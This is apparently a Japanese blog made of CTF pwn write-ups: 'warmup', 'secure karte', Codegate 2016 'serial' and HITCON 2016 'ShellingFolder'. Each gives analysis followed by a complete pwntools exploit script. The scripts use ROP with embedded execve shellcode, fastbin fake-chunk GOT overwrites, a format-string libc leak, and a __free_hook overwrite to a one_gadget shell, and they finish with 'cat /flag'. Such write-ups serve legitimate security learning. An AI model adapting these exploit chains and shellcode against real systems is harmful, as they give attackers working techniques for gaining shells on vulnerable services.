ROPの順は rdi_gadget(pop GOT of gets) -> gets(&bss) -> &bss

 

 

1-4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./warmup"

rhp = {"host":"localhost","port":12301}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
bsssec = binf.bss()

rdi_gadget = 0x00400773

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def exploit(conn):
  
  payload = "A"*(0x100+0x8)
  payload += p64(rdi_gadget)
  payload += p64(binf.bss())
  payload += p64(binf.plt["gets"])
  payload += p64(binf.bss())

  conn.recvuntil(":)\n")
  conn.sendline(payload)
  conn.sendline(shellcode)

  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




2-2: 表層解析

続いてpwnの問題 "secure karte"

本番で割と時間をかけて考えてnameを偽チャンクにして。。。まで行ったが答えに行きつかなかった

./karte: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8d23a3822493caf3a6059f7e682a1c783a40845f, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)



2-3: 方針

めんどくさいので変数の説明だとかはカットして勝手に命名します

 

deleteしたあとのkarteも一回はmodifyできるため

chunkのfwdを書き換えてnameを指すようにする

なお今回使われているのはcalloc()であり

これはtcacheから取り出すことはしない

 

目標はlockを書き換えて何回でもmodifyできるようにした後

karteの内容を直接書き換えて

GOT overwriteする

 

使ったのは以下のテク(?)

hama.hatenadiary.jp

 

厳密には違うかも

 

でもまあ0x000000000000007fの7fだけを利用して有効なchunkを作るというもの

今回7f_gadgetはkarteより結構上にあるため何段階かで下に降りていく

 

前述したように

modifyは今の所一回しかできないが

名前の変更(rename)はいくらでもできるため

これによって次のchunkが7f_gadgetを指すようにする

この7f_gadgetの最後にはまた7fを入れておいて次に利用できるようにする

 

っていう具合のやつを

最初はイメージしづらかったため下のように図に起こしたが

今となってはこんな図を見たほうがよっぽどわかりにくい・・・

 

f:id:smallkirby:20190906101207p:plain

1/3

f:id:smallkirby:20190906101227p:plain

2/3

f:id:smallkirby:20190906101243p:plain

3/3

 

さてkarteに自由な値を書き込めるようになったとする

まずはaddでkarteのbuffer addrをatoiとfreeのGOTを指すようにする

その後modifyでfreeのGOTをprintfのPLTに書き換え

deleteの中でfreeされるときに printf (atoi addr) とする

 

このアドレスをもとにlibc baseとsystem addrを計算し

同じ要領でatoiのGOTをsystemに書き換える

atoiはメニュー入力で使われるため

次のメニュー入力で/bin/shを送れば終了

 

 

振り返ってみれば新しい知識はなかったが

本番で色々と実験してできるようにするのは難しいと思った

 

あと有効なchunkに見せる処理に苦戦した

(freeの際のinvalid next sizeとかinvalid pointerはどこの値が不正なのか未だに明確にわかってないかも・・・

 

 

2-4: 諸々のデータ覚書

pwndbg> x/160xb 0x602170 - 0x60
0x602110 <reserved+112>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602118 <reserved+120>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602120 :	0x05	0x00	0x00	0x00	0x06	0x00	0x00	0x00
0x602128:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602130:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602138:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602140 :	0x01	0x00	0x00	0x00	0x87	0xad	0x00	0x00
0x602148 <list+8>:	0x60	0x32	0xba	0x01	0x00	0x00	0x00	0x00
0x602150 <list+16>:	0x00	0x00	0x00	0x00	0x8a	0xd2	0x00	0x00
0x602158 <list+24>:	0xe0	0x35	0xba	0x01	0x00	0x00	0x00	0x00
0x602160 <list+32>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602168 <list+40>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602170 :	0x06	0xd8	0xa5	0x27	0xa5	0xa8	0x5e	0x41
0x602178:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602180 <stdout@@GLIBC_2.2.5>:	0x60	0x77	0xaf	0x11	0x54	0x7f	0x00	0x00
0x602188 :	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602190 :	0xef	0xbe	0xbe	0xc0	0xad	0xde	0x00	0x00
0x602198:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x6021a0 :	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x6021a8 <name+8>:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41

 

 

 

2-5: exploit

<注意>参考の一番目をほぼもろぱくりしました(偽チャンクづくりの余計な部分を除いたくらいの違いです)。基本的にそっちを参照して。

 

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./karte"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

main_addr = 0x40095b
name_addr = 0x6021a0
list_addr = name_addr-0x60
atoi_offset = 0x40680
system_offset = 0x4f440
gadget_7f = 0x602075

def add(conn,size,desc): #desc should include \n if you want new line
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("Input size > ")
  conn.sendline(str(size))
  conn.recvuntil("Input description > ")
  conn.send(desc)
  conn.recvuntil("Added id ")
  return int(conn.recvline()[:-1])

def delete(conn,_id):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("Input id > ")
  conn.sendline(str(_id))

def modify(conn,_id,desc):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("Input id > ")
  conn.sendline(str(_id))
  conn.recvuntil("Input new description > ")
  conn.send(desc)

def rename(conn,name):
  conn.recvuntil("> ")
  conn.sendline("99")
  conn.recvuntil("... ")
  conn.send(name)

def exploit(conn):
  #sizeの下1bitが1になってるのはPREVINUSEを立てるためだよ!!
  #(めんどくさい統合処理を避けるため)


  #max rename size == 0x40

  #username regisration
  conn.recvuntil("... ")
  # to bypass size check of malloc fastbin
  #             prevsize  size        fwd                 
  conn.sendline(p64(0) + p64(0x81) + p64(name_addr + 0x60))


  #consume tcache
  for i in range(8):
    id_temp = add(conn,0x60,"A")
    delete(conn,id_temp)
  for i in range(8):
    id_temp = add(conn,0x70,"B")
    delete(conn,id_temp)
 
  #on fastbins
  id1 = add(conn,0x70,"C")
  id2 = add(conn,0x70,"D")
  #delete
  delete(conn,id2)
  delete(conn,id1)

  
  #modify
  modify(conn,id1,p64(name_addr)[:4]) #make refer to name

  id1 = add(conn,0x78,p64(0)*13+p64(0x70)[:7])
  id2 = add(conn,0x78,p64(0x81)*2+p64(0x81)*11+p64(0x81)[:7])  
  id3 = add(conn,0x78,p64(0)*3+p64(0x21))
  #now
  #id1: 0x80 @ hoge
  #id2: 0x80 @ name
  #id3: 0x80 @ name+0x60 (0x60 has no meaning, just writable temporaly area)
  
  delete(conn,id2) #free name chunk
  id2 = add(conn,0x78,p64(0)*11+p64(0x21)+p64(0)+p64(0x11)) #0x11 has no meaning, just set the LSB of id3's size field, Idon't know why 0x21 is needed;what's field?
  #★ 1
  #           prevsize size
  rename(conn,p64(0)+p64(0x71)) #change size
  #now
  #id1: 0x80 @ hoge
  #id2: 0x70 @ name
  #id3: 0x80 @ name+0x60
  
  delete(conn,id2)
  delete(conn,id1)
  delete(conn,id3)  
  #now
  #(id1): 0x80 @ hoge
  #(id2): 0x70 @ name
  #(id3): 0x80 @ name+0x60
  
  rename(conn,p64(0)+p64(0x71)+p64(gadget_7f))
  #now
  #(id1): 0x80 @ hoge
  #(id2): 0x70 @ name -> 7f_gadget
  #(id3): 0x80 @ name+0x60
  
  id2 = add(conn,0x68,p64(0))
  id1 = add(conn,0x68,"ABC"+p32(0x0)+p64(0xdeadbeef)*0xa+p64(0)+p64(0x7f))
  #now
  #id1:   0x70 @ 7f_gadget (0@0x6020dc, 0x7f@0x6020e4)
  #id2:   0x70 @ name
  #(id3): 0x80 @ name+0x60

  #bypass zfd ★ 2
  delete(conn,id2) #list: null id1 null
  rename(conn,p64(0)+p64(0x71)+p64(0x6020dc))
  #now
  #id1:   0x70 @ 7f_gadget
  #(id2): 0x70 @ name -> 0x6020dc
  #(id3): 0x80 @ name+0x60
  
  id2 = add(conn,0x68,p64(0))
  id3 = add(conn,0x68,p64(0)*6+p8(0)*4 + p32(0x5) + p32(0x6) + p64(0)*2 + p64(0x7f) + p32(0x1) + p32(id2) + p64(name_addr+0x10) + p8(0)) #preserve first(id2's) buffer address and clear second' inuse flag 
  #now
  #id1: 0x70 @ 7f_gadget
  #id2: 0x70 @ name
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)

  delete(conn,id2) #list: null null(id1) id3
  rename(conn,p64(0)+p64(0x71)+p64(0x602130)+p64(0x71)) #set next next chunk to 0x602130: list-0x10
  #now
  #[id1]: 0x70 @ 7f_gadget
  #(id2): 0x70 @ name -> list-0x10
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)
  
  id2 = add(conn,0x68,p64(0))
  payload = p32(1)+p32(id2)+p64(binf.got["atoi"])
  payload += p64(0)+p64(0) #this field got overwritten soon due to the field of himself
  payload += p32(1)+p32(id3)+p64(binf.got["free"])
  payload += p64(0xdeadc0bebeef)
  id1 = add(conn,0x68,payload) #list - 0x10
  #now
  #id1: 0x70 @ list-0x10
  #id2: 0x70 @ name
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)

  #overwrite GOT of free and leak the address of atoi
  modify(conn,id3,p64(binf.plt["printf"])[:6])
  delete(conn,id2) #invoke printf(*atoi addr) 
  atoi_addr = unpack(conn.recvline()[:-1].ljust(8,'\0'))
  print("[**]atoi: "+hex(atoi_addr))
  libc_base = atoi_addr - atoi_offset
  print("[**]libc base: "+hex(libc_base))
  system_addr = libc_base + system_offset
  print("[**]system: "+hex(system_addr))

  #overwrite GOT of atoi and do system()
  modify(conn,id2,p64(system_addr)[:6]) #[:6] is because the length of input is the older one - 1
  conn.recvuntil("> ")
  conn.sendline("/bin/sh") #invoke system("/bin/sh") instead of atoi
  conn.sendline("cat /flag")
  

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

 

 

f:id:smallkirby:20190906102143p:plain

 

 

 

 

 

 

 

 

 

 

他の問題は次回以降へ続く・・・

 

 

 

 

 

 

 

 

【pwn 4.10】 serial - Codegate CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

1: イントロ

bataリストの問題

2016 Codegate CTF の easy 問題 "serial"

 

keywords:

angr



2: 表層解析

./serial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)




3: プログラムの流れ

まずproduct keyの入力を求められる

ghidraのコードを見たがなんかめんどくさそうだったため

angrに投げた

#!/usr/bin/env python2
import angr

addr_success = 0x400e61
addr_numonly = 0x400d27
addr_wrong =  0x400e7d

p = angr.Project("./serial",load_options={"auto_load_libs":False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find=(addr_success,), avoid=(addr_numonly,addr_wrong))

found = simgr.found[0]

for path in simgr.found:
  print(path.posix.dumps(1))
  print(path.posix.dumps(0))
$ python ./angr_exploit2.py 
b'input product key: '
b'615066814080@@@@@@@\x10@@@@@@@@@@\x00'

 

ということでproduct keyは615066814080

 

プログラムの選択肢は以下の通り

Smash me!
1. Add 2. Remove 3. Dump 4. Quit

 

1:Addについて

0x20サイズのメンバ0xa個分領域(dataset)がcalloc()で確保してある

DAT_6020b9(counter)はdatasetに何個データが入っているかを表す

Addは0x20サイズ入力の\nをNULL終端したあとdatasetのエントリにmemcpyする

そのあとcounterをインクリメント

 

2:Removeについて

まずエントリすべてをイテレートして内容をダンプする

そのあとremoveするインデックスを入力させ

該当エントリをゼロクリアし

続くエントリたちを左詰めする

 

このエントリをゼロクリアするのが以下の部分だが

memset(param_1->dataset + (long)local_20 * 0x20,0x0,0x4);

何故か最初4byteしかクリアしていない

これが最後のエントリ以外ならば

直後に次のエントリで上書きされるから問題ないだろうが

最後のエントリの場合は最初4byte以外はそのままの状態で残ることになる

(結局この不具合は使わなかたのだが・・・)

 

3:Dumpについて

エントリの0番目の0x18の示す先にjmpする

                    /* 0x40096e == show_content() */
        *(undefined8 *)(in_RDI + (long)DAT_006020b9_count * 0x20 + 0x18) = 0x40096e;

 

そこにデフォルトで入っているアドレスは0x40096e

これは前述したエントリをダンプする関数

入力が0x20なのに0x18にこのポインタを置いているから

overwriteできる

 

実際に試してみると案の定以下のようにSIGSEGV

Smash me!
1. Add 2. Remove 3. Dump 4. Quit< 2019/08/31 01:44:55.271917  length=11 from=70 to=80

choice >> > 2019/08/31 01:44:55.314461  length=2 from=13 to=14
1
< 2019/08/31 01:44:55.314688  length=10 from=81 to=90
insert >> > 2019/08/31 01:44:55.315143  length=32 from=15 to=46
111111111111111111111111AAAAAAA
< 2019/08/31 01:44:55.315470  length=53 from=91 to=143
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> < 2019/08/31 01:44:55.315921  length=62 from=144 to=205
hey! 0xa
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> > 2019/08/31 01:44:55.316372  length=2 from=47 to=48
3
< 2019/08/31 01:44:55.316482  length=24 from=206 to=229
func : 0x41414141414141
2019/08/31 01:44:55 socat[16257] E waitpid(): child 16258 exited on signal 11

 

ちゃんと落ちている

 

あれ、これめちゃめちゃ簡単なんじゃね?



4: 方針

まずlibc baseをleakする

関数ポインタをprintfのpltで上書きする

関数ポインタの先にジャンプする直前のstack配下の状態

 

pwndbg> telescope $rsp 20
00:0000│ rsp  0x7ffe48cb0400 —▸ 0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
01:0008│      0x7ffe48cb0408 —▸ 0xea2260 ◂— 0x70253a70253a7025 ('%p:%p:%p')
02:0010│ rbp  0x7ffe48cb0410 —▸ 0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
03:0018│      0x7ffe48cb0418 —▸ 0x400fa9 ◂— jmp    0x400fd7
04:0020│      0x7ffe48cb0420 ◂— 0x1
05:0028│      0x7ffe48cb0428 —▸ 0xea2260 ◂— 0x70253a70253a7025 ('%p:%p:%p')
06:0030│      0x7ffe48cb0430 ◂— 0x7f20da000033 /* '3' */
07:0038│      0x7ffe48cb0438 ◂— 0x0
08:0040│      0x7ffe48cb0440 ◂— '615066814080'
09:0048│      0x7ffe48cb0448 ◂— 0x30383034 /* '4080' */
0a:0050│      0x7ffe48cb0450 —▸ 0x7ffe48cb0540 ◂— 0x1
0b:0058│      0x7ffe48cb0458 ◂— 0xe3dc2d26c6c0b700
0c:0060│      0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
0d:0068│      0x7ffe48cb0468 —▸ 0x7f20da811b97 (__libc_start_main+231) ◂— mov    edi, eax
0e:0070│      0x7ffe48cb0470 ◂— 0x0
0f:0078│      0x7ffe48cb0478 —▸ 0x7ffe48cb0548 —▸ 0x7ffe48cb0f66 ◂— './serial'
10:0080│      0x7ffe48cb0480 ◂— 0x100000000
11:0088│      0x7ffe48cb0488 —▸ 0x400e93 ◂— push   rbp
12:0090│      0x7ffe48cb0490 ◂— 0x0
13:0098│      0x7ffe48cb0498 ◂— 0x3b47f6800b34e131

 

 

stackに積まれている__libc_start_main+231のアドレスを利用する

これは$19に該当するから

"%$19p"をprintfしてこのアドレスをリークしlibc baseを計算する

 

あとはsystemを呼ぶだけ




5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./serial"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

printf_plt = binf.plt["printf"]
offset_libc_start_main = libc.functions["__libc_start_main"].address
offset_system = libc.functions["system"].address

#preparatory investigation
stack_ix = 19               #the index of the stack which refers to libcstartmain
product_key = 615066814080  #acquired with angr

def exploit(conn):

  #pass auth
  conn.recvuntil("input product key: ")
  conn.sendline(str(product_key))

  #leak __libc_start_main+239
  payload = "%19$p"
  payload += "A"*(0x18-len(payload))
  payload += p64(printf_plt)
  conn.recvuntil("choice >> ")
  conn.sendline("1")
  conn.recvuntil("insert >> ")
  conn.sendline(payload)
  conn.recvuntil("choice >> ")
  conn.sendline("3")
  conn.recvuntil("func :")
  conn.recvline()
  libc_start_main231 = int(conn.recvline()[2:14],16)
  
  #calc libc_base and addr of system()
  libc_start_main = libc_start_main231 - 231
  libc_base = libc_start_main - offset_libc_start_main
  addr_system = libc_base + offset_system
  print("libc_start_main: "+hex(libc_start_main))
  print("libc_base      : "+hex(libc_base))

  #clear the entry
  conn.recvuntil("choice >> ")
  conn.sendline("2")
  conn.recvuntil("choice>> ")
  conn.sendline("0")
  
  #inject payload
  payload = "/bin/sh;"
  payload += " "*(0x18-len(payload))
  payload += p64(addr_system)
  conn.recvuntil("choice >> ")
  conn.sendline("1")
  conn.recvuntil("insert >> ")
  conn.sendline(payload)

  #run
  conn.recvuntil("choice >> ")
  conn.sendline("3")

  #get the flag
  conn.recvline()
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *0x400e93
      c
    """
    #0x400e93: main
    #0x400cbb: read_til_line
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()



6: 結果

f:id:smallkirby:20190831025246p:plain






7: アウトロ

easyの中で難易度の差ありすぎじゃね?





続く・・・





【pwn 4.9】 ShellingFolder - HITCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

1: イントロ

bataリストのbaby問題に飽きたため

2016 HITCON CTF の easy 問題 "Shelling Folder"

 

 keyword:

tcache, unsorted bin, main_arena, __free_hook, onegadget RCE, gdbpwn

 

2: 表層解析

./shellingfolder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

 

そういえばghidraについて

ghidraは関数に入った時点でのスタックポインタとのオフセットを

ローカル変数の命名に使用している

一方で他の多くのツール(gdb/ objdump/ IDA/ radare)はベースポインタとのオフセットを

命名に使用している

すなわち関数のプロローグでBPをプッシュする前と後のどちらのSPの値を

そのスタックフレーム内のオフセットとして利用するかで差異がある

なぜghidraが前者を採用しているかは謎だが

ghidraを使うときには注意しなくちゃね

 

 

3: プログラムの流れ

ヒープ上で似非ファイルシステムを実現している

できることは以下の通り

 **************************************
            ShellingFolder            
**************************************
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
 7.Exit                               
**************************************

 

 

あるフォルダ(ディレクトリ)とファイルはともに

以下のようなfolder構造体で表現されている

 

f:id:smallkirby:20190829022649p:plain

ghidraって便利だね

childrenにはサブディレクトリとファイルが

parentには親ディレクトリのfolder構造体へのポインタが入る

folderかfileかはtypeメンバによって決まる 

 

 

4: とっかかりの脆弱性

6で現在のフォルダ内にあるファイルのサイズの合計を計算する

    local_18 = 0x0;
    memset(local_38,0x0,0x20);
    while (local_18 < 0xa) {
        if (param_1->children[(long)local_18] != NULL) {
            local_20 = &param_1->size;
            cpy_name(local_38,param_1->children[(long)local_18]->name);
            if (param_1->children[(long)local_18]->type == 0x1) {
              //this is folder (not include in calculation)
                *local_20 = *local_20;
            }
            else {
                //this is file
                printf("%s : size %ld\n",local_38,param_1->children[(long)local_18]->size);
                *local_20 = param_1->children[(long)local_18]->size + *local_20;
            }
        }
        local_18 = local_18 + 0x1;
    }

 

その際上のコードのように

まずスタック上(local_20)にカレントフォルダのsizeメンバへのポインタを確保しておき

そのポインタを通してフォルダのsizeを加算していっている

 

このとき cpy_name() 関数の中身は以下の通り

    size_t __n;
    
    __n = strlen(src);
    memcpy(dest,src,__n);

 

どのファイルがどのサイズかを出力するために

ファイルのnameメンバをスタック上にmemcpyしている

 

ここに脆弱性の1つ目がある

スタック上にはname用のbufferが0x18しか取られていないのに対して

folder構造体のnameメンバは0x20取られている

しかもstrlenでサイズを測っているから

name用のbufferをoverflowさせることができる

ではbufferの直下には何があるかというと

前述したsizeメンバへのポインタが入っている

 

よって0x18文字ピッタリの名前をつけることで

sizeメンバへのポインタ即ちheap上のアドレスをleakすることができる...①

 

それから0x18文字+<任意のアドレス8byte>を命名することで

sizeへのポインタをoverwriteし

任意のアドレスの値に加算をすることができる...②

 

 

5: unsortedbins から main_arena のleak

ここまででheapのアドレスがリークできた

続いてmain_arenaのアドレスをリークする

 

folder構造体のchildrenメンバにはサブディレクトリやファイルのfolderを指すポインタが入っている

②を使うとこのポインタを書き換えることができる

これを用いて既に作られているファイルへのポインタを少し書き換え

nameメンバが特定のアドレスを指すように調整すると

1のListTheFolderによって

任意のアドレスの値を読むことができる...③

 

なおココらへんのヒープ上の関係図は以下の図の通り

---------図を書く---------

 

それから

5では該当する名前のファイルやフォルダを消去する

システム上はfolder構造体をfreeしている

この構造体のサイズは0x88であるからunsortedbinsに入る

よって適当なchunk(file)をfreeしたあと

③を用いてそのchunkのfwdを読めば

main_arenaのアドレスをリークすることができる

 

但し

tcacheを消費させるためにも

7個のchunkを適当に作って7回freeした後に

連続で目的のchunkをfreeしなくてはならない

(tcacheはスロット7より8個目以降はunsortedに入る)

 

f:id:smallkirby:20190829025840p:plain

pwndbgって初めて使ったけど便利だね

上のような感じで

8個目はmain_arena+96を指している

これを③を用いて読めばmain_arenaのリーク完成

 

 

5: libc baseのリーク

知らなかったんだけど

libc baseとmain_arenaって必ず決まった距離にあるんだね

pwndbg> p &main_arena
$41 = (struct malloc_state *) 0x7f30573d8c40 
pwndbg> p &printf
$42 = (int (*)(const char *, ...)) 0x7f3057051e80 <__printf>

 

printfとmain_arenaの差は0x386dc0

libcにおけるprintfのoffsetは調べればわかるから

(リークしたmain_arenaのアドレス) - (printfとの差) - (printf offset)

を計算するとlibc baseが求まる ...④

 

 

6: __free_hook の onegadget RCEへの書き換え

さあここまでで

②と④によりlibcも含めて任意のアドレスに任意の値を書き込めるwrite-where-what状態になった

じゃあどこを書き換えようということになるが

今回はFULLRELROだから

GOT overwriteはできない

 

少し調べてみたら

__free_hookというstatic変数がlibcにあるらしい

これはデバッグ用の変数でfreeをするときにこれに入ってるアドレスに飛ぶらしい

(名前の通りフックするようらしい)

但しデフォルトでは0になっていて

その場合は普通のfreeに飛ぶ

 

これを書き換えて

その後にfreeをすることで書き換えたアドレスに飛ぶことにする

(可能なのは任意の値を「加算」することだからデフォで0なのはありがたい)

 

飛ぶ先は/bin/shをしてくれるonegadget RCEにする

$ ldd ./shellingfolder
	linux-vdso.so.1 (0x00007ffeeabd0000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd48f7d0000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fd48fdc4000)
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

 

上で調べたgadgetの2つ目を使うことにする

(何故か1つ目だとSIGSEGVになった)




6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./shellingfolder"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

diff_mainarena_printf = 0x386dc0
offset_printf = libc.symbols["printf"]
offset_mainarena_libc = diff_mainarena_printf + offset_printf
offset_onegadget = 0x4f322

def change_folder(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("2")
  conn.recvuntil("Choose a Folder :")
  conn.sendline(name)

def list_folder(conn):
  conn.recvuntil("Your choice:")
  conn.sendline("1")

def make_folder(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("3")
  conn.recvuntil("Name of Folder:")
  conn.send(name)

def make_file(conn,name,size):
  conn.recvuntil("Your choice:")
  conn.sendline("4")
  conn.recvuntil("Name of File:")
  conn.send(name)
  conn.recvuntil("Size of File:")
  conn.sendline(str(size))

def remove_file(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("5")
  conn.recvuntil("Choose a Folder or file :")
  conn.send(name)

def calc_size(conn):
  conn.recvuntil("Your choice:")
  conn.sendline("6")

def exploit(conn):

  #leak address of somewhre in the heap
  make_file(conn,"A"*0x18,0)
  calc_size(conn)     #read ptr into size
  conn.recvuntil("A"*0x18)
  addr1 = unpack(conn.recvuntil(" : ")[:-3].ljust(8,"\x00"))
  addr2 = addr1-0x78      #0x78=offset of size member in the structure
  heapbase = addr2-0x10   #0x10=metadata of the chunk(size,prevsize)
  print("heapbase: "+hex(heapbase))

  #create file whose size_ptr refers to...
  #(-0xe8 = offset between interested *children)
  make_file(conn,("B"*0x18)+p64(heapbase+0x18)[:-1],-0xe8) #dont know why [:-1]'s needed  

  #consume tcache
  for i in range(7):
    make_file(conn,"A"*(i+1),0)
  for i in range(7):
    remove_file(conn,"A"*(i+1)+"\n")
  
  #this chunk's fwd refers to main_arena+96
  remove_file(conn,"A"*0x18+"\n")
 
  #set the pointer into B sothat Ican read fwd (sub 0xe8)
  calc_size(conn)

  #leak addr of main_arena+96
  #and calc some addr I need
  list_folder(conn)
  conn.recvline()
  main_arena96 = unpack(conn.recvline()[:-1].ljust(8,"\x00"))
  libc_base = main_arena96 - 96 - offset_mainarena_libc
  onegadget = libc_base + offset_onegadget

  #escape into clean folder
  make_folder(conn,"A")
  change_folder(conn,"A")
  
  #overwrite __free_hook into onegadget RCE by 2byte at once
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"])[:-1],u16(p64(onegadget)[:2]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 2)[:-1],u16(p64(onegadget)[2:4]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 4)[:-1],u16(p64(onegadget)[4:6]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 6)[:-1],u16(p64(onegadget)[6:]))
  calc_size(conn)

  #use free() and go to onegadget RCE
  make_file(conn,"E",0)
  remove_file(conn,"E\n")
  
  #get the flag
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




7: 結果

 

f:id:smallkirby:20190829033007p:plain

無事にフラグが取れました



8: アウトロ

今回は割と頑張った

pwn分科会でmallocの勉強しておいたのが役に立った感じ

 

でもeasy問題でこれだと先が長い

 

 

 

 

 

 

続く・・・